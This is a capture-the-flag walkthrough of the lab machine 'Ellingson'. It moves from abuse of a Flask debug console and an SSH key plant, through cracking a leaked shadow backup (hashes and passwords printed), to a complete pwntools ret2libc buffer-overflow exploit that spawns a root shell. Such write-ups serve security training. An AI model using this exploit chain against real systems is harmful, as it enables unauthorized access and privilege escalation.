Ellingson

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.139 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.93 scan initiated Fri May 12 07:25:20 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.139
Nmap scan report for 10.10.10.139
Host is up (0.056s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Fri May 12 07:25:47 2023 -- 1 IP address (1 host up) scanned in 26.49 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80,60080 10.10.10.139 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.93 scan initiated Fri May 12 07:30:15 2023 as: nmap -sCV -p22,80 -Pn -n -oN targeted 10.10.10.139
Nmap scan report for 10.10.10.139
Host is up (0.042s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49e8f12a8062de7e0240a1f430d288a6 (RSA)
|   256 c802cfa0f2d85d4f7dc7660b4d5d0bdf (ECDSA)
|_  256 a5a995f54af4aef8b63792b89a2ab466 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was http://10.10.10.139/index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 12 07:30:26 2023 -- 1 IP address (1 host up) scanned in 11.92 seconds

The website consists of a landing page with some articles.

The third article says that the most common passwords are Love, Secret, Sex and God. This might be helpful later.

Exploitation

If we try to access an article that doesn't exist, we'll see a Flask error.

http://10.10.10.139/articles/4

If we hover over one of the errors, we'll see a console icon, which gives us a python console if pressed. We could see that the server is running as hal.

print(os.popen("whoami").read())

There are some home directories inside /home, and the hal directory has the .ssh folder inside.

There is one id_rsa key, but it looks like it is encrypted.

We could still create a pair of SSH keys in our machine, and put our id_rsa.pub key inside the authorized_keys of the server.

ssh-keygen

cat ~/.ssh/id_rsa.pub | tr -d '\n' | xclip -sel clip

Then, put it in the authorized_keys of the server.

Now we can access the machine via SSH as hal, without the need of any password.

ssh hal@10.10.10.139

Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri May 12 22:05:31 UTC 2023

  System load:  0.0               Processes:             166
  Usage of /:   69.1% of 4.31GB   Users logged in:       1
  Memory usage: 28%               IP address for ens160: 10.10.10.139
  Swap usage:   0%

  => There is 1 zombie process.


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

159 packages can be updated.
78 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri May 12 18:43:19 2023 from 10.10.14.3
hal@ellingson:~$ whoami
hal

Privilege Escalation

The hal user is a member of the adm group.

id

uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)

There is one file called shadow.bak whose group is also the adm group.

find / -group adm 2>/dev/null

/var/backups/shadow.bak
/var/spool/rsyslog
/var/log/auth.log
/var/log/mail.err
/var/log/fail2ban.log
/var/log/kern.log
/var/log/syslog
/var/log/nginx
/var/log/nginx/error.log
/var/log/nginx/access.log
/var/log/cloud-init.log
/var/log/unattended-upgrades
/var/log/apt/term.log
/var/log/apport.log
/var/log/mail.log
/snap/core/6405/var/log/dmesg
/snap/core/6405/var/log/fsck/checkfs
/snap/core/6405/var/log/fsck/checkroot
/snap/core/6405/var/spool/rsyslog
/snap/core/4917/var/log/dmesg
/snap/core/4917/var/log/fsck/checkfs
/snap/core/4917/var/log/fsck/checkroot
/snap/core/4917/var/spool/rsyslog
/snap/core/6818/var/log/dmesg
/snap/core/6818/var/log/fsck/checkfs
/snap/core/6818/var/log/fsck/checkroot
/snap/core/6818/var/spool/rsyslog

It seems like the backup of the /etc/shadow file.

cat /var/backups/shadow.bak

root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
sys:*:17737:0:99999:7:::
sync:*:17737:0:99999:7:::
games:*:17737:0:99999:7:::
man:*:17737:0:99999:7:::
lp:*:17737:0:99999:7:::
mail:*:17737:0:99999:7:::
news:*:17737:0:99999:7:::
uucp:*:17737:0:99999:7:::
proxy:*:17737:0:99999:7:::
www-data:*:17737:0:99999:7:::
backup:*:17737:0:99999:7:::
list:*:17737:0:99999:7:::
irc:*:17737:0:99999:7:::
gnats:*:17737:0:99999:7:::
nobody:*:17737:0:99999:7:::
systemd-network:*:17737:0:99999:7:::
systemd-resolve:*:17737:0:99999:7:::
syslog:*:17737:0:99999:7:::
messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::

Copy the /etc/passwd into the passwd file, and the /var/backups/shadow.bak into the shadow file. Now, let's try to break those hashes. As we saw earlier, the most common passwords are Love, Secret, Sex and God. We could get all the passwords that contain any of these words from the rockyou.txt dictionary, and use that wordlist to break the hashes.

cat /usr/share/wordlists/rockyou.txt | grep -Ei "love|secret|sex|god" > passwords

Now, use the unshadow tool to get the hashes needed to crack them with john.

unshadow passwd shadow > unshadow

Then, try to break the hashes with this new wordlist.

john -w=passwords unshadow

Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 3 candidates left, minimum 8 needed for performance.
iamgod$08        (margo)     
password123      (theplague)     
2g 0:00:00:00 DONE (2023-05-12 22:17) 66.66g/s 100.0p/s 400.0c/s 400.0C/s password123..test
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

The password for theplague doesn't seem to be valid. But the password for margo is valid. Once we become the margo user, we'll be able to grab the user flag.

su margo

Password: iamgod$08
margo@ellingson:/home/hal$ cd
margo@ellingson:~$ cat user.txt 
2c087c89ecdda46fefc6b7a327b75613

There is one binary called garbage with SUID permissions.

find / -perm /4000 2>/dev/null

...
/usr/bin/garbage
...

It asks for a password.

/usr/bin/garbage

Enter access password: test

access denied.

If we try to enter a bunch of a characters, we'll see the segmentation fault, which means that the binary is vulnerable to buffer overflow.

/usr/bin/garbage

Enter access password: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

access denied.
Segmentation fault (core dumped)

As we can see in the victim machine, ASLR is enabled, which means that the memory address of the binary is dynamic.

cat /proc/sys/kernel/randomize_va_space

2

The binary is using the /lib/x86_64-linux-gnu/libc.so.6 libc library. Let's transfer the binary and the libc library to our local machine.

scp hal@10.10.10.139:/usr/bin/garbage .

scp hal@10.10.10.139:/lib/x86_64-linux-gnu/libc.so.6 .

We are ready to exploit the buffer overflow. Let's run the binary with gdb.

gdb ./garbage

GNU gdb (Debian 13.1-2) 13.1
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
Reading symbols from ./garbage...
(No debugging symbols found in ./garbage)
gef➤

Let's run the binary with the -i argument, and add a bunch of A characters next to allow, so we can crash the program.

gef➤ r -i

Enter access password: aaaa...aaaa

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x007fffffffe1c8  →  0x007fffffffe4a5  →  "/home/alfa8sa/HTB/machines/ellingson/garbage"
$rcx   : 0x007ffff7ebd190  →  0x5877fffff0003d48 ("H="?)
$rdx   : 0x1               
$rsp   : 0x007fffffffe098  →  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$rbp   : 0x6161616161616161 ("aaaaaaaa"?)
$rsi   : 0x1               
$rdi   : 0x007ffff7f99a10  →  0x0000000000000000
$rip   : 0x00000000401618  →  <auth+261> ret 
$r8    : 0x000000004069a2  →  "lib/strongswan:/usr/sbin/nologin\nsystemd-timesync[...]"
$r9    : 0x007ffff7f335c0  →  <__memmove_ssse3+320> movaps xmm1, XMMWORD PTR [rsi+0x10]
$r10   : 0x007ffff7dcefd8  →  0x10002200006647 ("Gf"?)
$r11   : 0x202             
$r12   : 0x0               
$r13   : 0x007fffffffe1e0  →  0x007fffffffe4d5  →  "COLORTERM=truecolor"
$r14   : 0x0               
$r15   : 0x007ffff7ffd020  →  0x007ffff7ffe2e0  →  0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe098│+0x0000: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"      ← $rsp
0x007fffffffe0a0│+0x0008: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0x007fffffffe0a8│+0x0010: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0x007fffffffe0b0│+0x0018: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0x007fffffffe0b8│+0x0020: "aaaaaaaaaaaaaaaaaaaaaaaaa"
0x007fffffffe0c0│+0x0028: "aaaaaaaaaaaaaaaaa"
0x007fffffffe0c8│+0x0030: "aaaaaaaaa"
0x007fffffffe0d0│+0x0038: 0x00000200000061 ("a"?)
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40160d <auth+250>       call   0x401050 <puts@plt>
     0x401612 <auth+255>       mov    eax, 0x0
     0x401617 <auth+260>       leave  
 →   0x401618 <auth+261>       ret    
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "garbage", stopped 0x401618 in auth (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401618 → auth()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────            

We have to find the offset, or number or A characters, to reach the RSP register. To do it, let's create a pattern.

gef➤ pattern create 200

[+] Generating a pattern of 200 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
[+] Saved as '$_gef0'

Now, run the program again, and put the pattern with the allow argument.

gef➤ r -i

Enter access password: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x007fffffffe1c8  →  0x007fffffffe4a5  →  "/home/alfa8sa/HTB/machines/ellingson/garbage"
$rcx   : 0x007ffff7ebd190  →  0x5877fffff0003d48 ("H="?)
$rdx   : 0x1               
$rsp   : 0x007fffffffe098  →  "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"
$rbp   : 0x6161616161616171 ("qaaaaaaa"?)
$rsi   : 0x1               
$rdi   : 0x007ffff7f99a10  →  0x0000000000000000
$rip   : 0x00000000401618  →  <auth+261> ret 
$r8    : 0x000000004069a9  →  "ongswan:/usr/sbin/nologin\nsystemd-timesync:x:106:[...]"
$r9    : 0x007ffff7f335c0  →  <__memmove_ssse3+320> movaps xmm1, XMMWORD PTR [rsi+0x10]
$r10   : 0x007ffff7dcefd8  →  0x10002200006647 ("Gf"?)
$r11   : 0x202             
$r12   : 0x0               
$r13   : 0x007fffffffe1e0  →  0x007fffffffe4d5  →  "COLORTERM=truecolor"
$r14   : 0x0               
$r15   : 0x007ffff7ffd020  →  0x007ffff7ffe2e0  →  0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe098│+0x0000: "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"      ← $rsp
0x007fffffffe0a0│+0x0008: "saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[...]"
0x007fffffffe0a8│+0x0010: "taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x007fffffffe0b0│+0x0018: "uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x007fffffffe0b8│+0x0020: "vaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x007fffffffe0c0│+0x0028: "waaaaaaaxaaaaaaayaaaaaaa"
0x007fffffffe0c8│+0x0030: "xaaaaaaayaaaaaaa"
0x007fffffffe0d0│+0x0038: "yaaaaaaa"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40160d <auth+250>       call   0x401050 <puts@plt>
     0x401612 <auth+255>       mov    eax, 0x0
     0x401617 <auth+260>       leave  
 →   0x401618 <auth+261>       ret    
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "garbage", stopped 0x401618 in auth (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401618 → auth()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Now, we can see that the offset is 136 bytes.

gef➤ pattern offset $rsp

[+] Searching for '$rsp'
[+] Found at offset 136 (little-endian search) likely
[+] Found at offset 129 (big-endian search)

Let's print with python a string of 136 A chars, 8 B chars, and 8 C chars.

python -c "print('A'*136+'B'*8+'C'*8)"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

Now, we'll see how the RSP register is full of B and C characters.

gef➤ r -i

Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x007fffffffe1c8  →  0x007fffffffe4a5  →  "/home/alfa8sa/HTB/machines/ellingson/garbage"
$rcx   : 0x007ffff7ebd190  →  0x5877fffff0003d48 ("H="?)
$rdx   : 0x1               
$rsp   : 0x007fffffffe098  →  "BBBBBBBBCCCCCCCC"
$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x1               
$rdi   : 0x007ffff7f99a10  →  0x0000000000000000
$rip   : 0x00000000401618  →  <auth+261> ret 
$r8    : 0x00000000406979  →  ":/bin/false\nstrongswan:x:105:65534::/var/lib/stro[...]"
$r9    : 0x007ffff7f335c0  →  <__memmove_ssse3+320> movaps xmm1, XMMWORD PTR [rsi+0x10]
$r10   : 0x007ffff7dcefd8  →  0x10002200006647 ("Gf"?)
$r11   : 0x202             
$r12   : 0x0               
$r13   : 0x007fffffffe1e0  →  0x007fffffffe4d5  →  "COLORTERM=truecolor"
$r14   : 0x0               
$r15   : 0x007ffff7ffd020  →  0x007ffff7ffe2e0  →  0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe098│+0x0000: "BBBBBBBBCCCCCCCC"     ← $rsp
0x007fffffffe0a0│+0x0008: "CCCCCCCC"
0x007fffffffe0a8│+0x0010: 0x0000000000000000
0x007fffffffe0b0│+0x0018: 0x0000000000000002
0x007fffffffe0b8│+0x0020: 0x007ffff7dec18a  →  <__libc_start_call_main+122> mov edi, eax
0x007fffffffe0c0│+0x0028: 0x0000000000000000
0x007fffffffe0c8│+0x0030: 0x00000000401619  →  <main+0> push rbp
0x007fffffffe0d0│+0x0038: 0x0000000200000000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40160d <auth+250>       call   0x401050 <puts@plt>
     0x401612 <auth+255>       mov    eax, 0x0
     0x401617 <auth+260>       leave  
 →   0x401618 <auth+261>       ret    
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "garbage", stopped 0x401618 in auth (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401618 → auth()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

If we check the memory protections of the binary, we'll see that only NX is enabled.

gef➤ checksec

[+] checksec for '/home/alfa8sa/HTB/machines/ellingson/garbage'
Canary                        : ✘ 
NX                            : ✓ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial

Here is the strategy. First, we need to leak and calculate the address of the libc library. We can do this using the PUTS function, and giving __libc_start_main as an argument, which we could load into rdi with a gadget.

Once we know the real address of libc, we can get everything else. As we want a shell as root, we will need to set the UID of the shell to 0. To do it, we need to load a 0 into rdi and then call the setuid function.

Finally, we need to spawn a shell. Same thing as before, first we load the /bin/sh string into rdi, then we call the system function.

Here is a python script that automates all this process using the pwntools library.

#!/usr/bin/python3

from pwn import *

def leak_libc_address(p, elf, libc, rop):

	# PUTS(__libc_start_main)
	# gadget -> pop rdi, ret
	# rdi -> __libc_main_start
	pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
	libc = elf.symbols["__libc_start_main"]
	main = elf.symbols["main"]
	puts = elf.plt["puts"]

	log.info("pop rdi -> %s" % hex(pop_rdi))
	log.info("libc -> %s" % hex(libc))
	log.info("main -> %s" % hex(main))
	log.info("puts -> %s" % hex(puts))

	offset = 136
	payload = b"A"*offset
	payload += p64(pop_rdi)
	payload += p64(libc)
	payload += p64(puts)
	payload += p64(main)

	p.recvuntil(b"password:")
	p.sendline(payload)

	p.recvline()
	p.recvline()

	leaked_libc = p.recvline().strip()
	leaked_libc = u64(leaked_libc.ljust(8,b"\x00"))
	
	log.info("Leaked libc address -> %s" % hex(leaked_libc))

	return leaked_libc

def setuid(p, elf, libc, rop):

	# setuid(0)
	# gadget -> pop rdi, ret
	# rdi -> 0
	# setuid() -> rdi -> 0

	pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
	setuid = libc.sym["setuid"]
	main = elf.symbols["main"]

	offset = 136
	payload = b"A"*offset
	payload += p64(pop_rdi)
	payload += p64(0)
	payload += p64(setuid)
	payload += p64(main)

	p.recvuntil(b"password:")
	p.sendline(payload)


def shell(p, elf, libc, rop):

	# system("/bin/sh")
	# gadget -> pop rdi, ret
	# rdi -> "/bin/sh"
	# system() -> rdi -> "/bin/bash"

	ret = (rop.find_gadget(['ret']))[0]
	pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
	bin_sh = next(libc.search(b"/bin/sh"))
	system = libc.sym["system"]

	offset = 136
	payload = b"A"*offset
	payload += p64(ret)
	payload += p64(pop_rdi)
	payload += p64(bin_sh)
	payload += p64(system)

	p.recvuntil(b"password:")
	p.sendline(payload)

	p.interactive()

if __name__ == '__main__':

	r = ssh(host='10.10.10.139', user='margo', password='iamgod$08')
	p = r.process("/usr/bin/garbage")

	elf = ELF("./garbage")
	libc = ELF("./libc.so.6")
	rop = ROP(elf)

	leaked_libc_address = leak_libc_address(p, elf, libc, rop)

	# Real libc_address
	libc.address = leaked_libc_address - libc.sym["__libc_start_main"]
	log.info("Real libc address -> %s" % hex(libc.address))

	setuid(p, elf, libc, rop)
	shell(p, elf, libc, rop)

Run the script to get a shell as root, and then all we have to do is reap the harvest and take the root flag.

python overflow.py

[+] Connecting to 10.10.10.139 on port 22: Done
[*] margo@10.10.10.139:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process bytearray(b'/usr/bin/garbage') on 10.10.10.139: pid 103789
[*] '/home/alfa8sa/HTB/machines/ellingson/garbage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/alfa8sa/HTB/machines/ellingson/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './garbage'
[*] pop rdi -> 0x40179b
[*] libc -> 0x403ff0
[*] main -> 0x401619
[*] puts -> 0x401050
[*] Leaked libc address -> 0x7f290c5fbab0
[*] Real libc address -> 0x7f290c5da000
[*] Switching to interactive mode
 
access denied.
# $ whoami
root
# $ cat /root/root.txt
96e52e54ffe2c14608f055a4d32219e2

Last updated

Was this helpful?